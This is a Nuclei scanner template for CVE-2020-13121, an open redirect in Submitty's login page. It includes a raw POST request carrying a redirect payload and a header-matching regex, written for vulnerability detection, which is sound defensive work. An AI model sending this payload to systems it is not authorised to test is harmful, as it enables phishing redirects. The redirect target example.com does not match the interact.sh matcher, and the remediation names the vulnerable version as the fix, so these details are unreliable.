46 lines
1.9 KiB
YAML
46 lines
1.9 KiB
YAML
id: CVE-2020-13121
|
|
|
|
info:
|
|
name: Submitty <= 20.04.01 - Open Redirect
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
impact: |
|
|
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
|
|
remediation: |
|
|
Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability.
|
|
reference:
|
|
- https://github.com/Submitty/Submitty/issues/5265
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13121
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-13121
|
|
cwe-id: CWE-601
|
|
epss-score: 0.00235
|
|
epss-percentile: 0.61592
|
|
cpe: cpe:2.3:a:rcos:submitty:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: rcos
|
|
product: submitty
|
|
tags: cve,cve2020,redirect,submitty,oos,rcos
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Referer: {{RootURL}}/authentication/login
|
|
|
|
user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: header
|
|
regex:
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
|
|
# digest: 4a0a0047304502206d5139608b72b6f1bc8113be66f7f9ef151af099ff74bd9a595fbe88734f52ae022100e4b539eca28305c2bfd5fa8b99eaa4c9f56de7cfc1103aa3c2acba9d4ebcf7c9:922c64590222798bb761d5b6d8e72950 |